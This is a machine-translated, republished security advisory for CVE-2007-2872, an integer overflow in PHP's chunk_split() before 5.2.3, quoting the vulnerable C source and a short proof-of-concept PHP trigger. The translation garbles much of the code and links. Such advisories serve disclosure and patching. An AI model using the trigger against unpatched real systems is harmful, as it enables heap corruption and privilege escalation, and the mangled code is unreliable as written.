Analysis on the integer overflow vulnerability of the chunk_split () function in PHP5.2 _ php Digest

Source: Internet
Author: User
Affected systems:
PHP <5.2.3
Unaffected system:
PHP 5.2.3
Description:
--------------------------------------------------------------------------------
Bugtraq id: 24261
CVE (CAN) ID: CVE-2007-2872

PHP is a popular WEB server programming language.

The chunk_split function in PHP has the integer overflow vulnerability when processing malformed parameters. local attackers may exploit this vulnerability to escalate their permissions.

In PHP, Row 1963 of the chunk_split function tries to allocate sufficient memory for the function results, but the srclen and chunklen parameter blocks are used without any check. If the block and endlen of the value are greater than 65534 bytes, the integer overflow is triggered, and the memory size is allocated incorrectly, resulting in heap overflow.

Ext/standard/string. c:

1953 static char * php_chunk_split (char * src, int srclen, char * end,
Int endlen, int chunklen, int * destlen)
1954 {
1955 char * dest;
1956 char * p, * q;
1957 int chunks;/* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen/chunklen;
1961 restlen = srclen-chunks * chunklen;/* srclen % chunklen */
1962
1963 dest = safe_emalloc (srclen + (chunks + 1) * endlen + 1 ),
Sizeof (char), 0 );
1964
1965 for (p = src, q = dest; p <(src + srclen-chunklen + 1 );){
1966 memcpy (q, p, chunklen );
1967 q + = chunklen;
1968 memcpy (q, end, endlen );
1969 q + = endlen;
1970 p + = chunklen;
1971}

<* Source: Gerhard Wagner

Link: http://marc.info /? L = bugtraq & m = 118071054000708 & w = 2 href = "http://marc.info /? L = bugtraq & m = 118071054000708 & w = 2 "target = _ blank> http://marc.info /? L = bugtraq & m = 118071054000708 & w = 2
Http://www.php.net/releases/5_2_3.php href = "http://www.php.net/releases/5_2_3.php" target = _ blank> http://www.php.net/releases/5_2_3.php
Http://secunia.com/advisories/25456/ href = "http://secunia.com/advisories/25456/" target = _ blank> http://secunia.com/advisories/25456/
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

$ A = str_repeat ("A", 65535 );
$ B = 1;
$ C = str_repeat ("A", 65535 );
Chunk_split ($ a, $ B, $ c );
?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

PHP
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.php.net/downloads.php#v5 href = "http://www.php.net/downloads.php#v5" target = _ blank> http://www.php.net/downloads.php#v5

Article from: luumeng technology

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.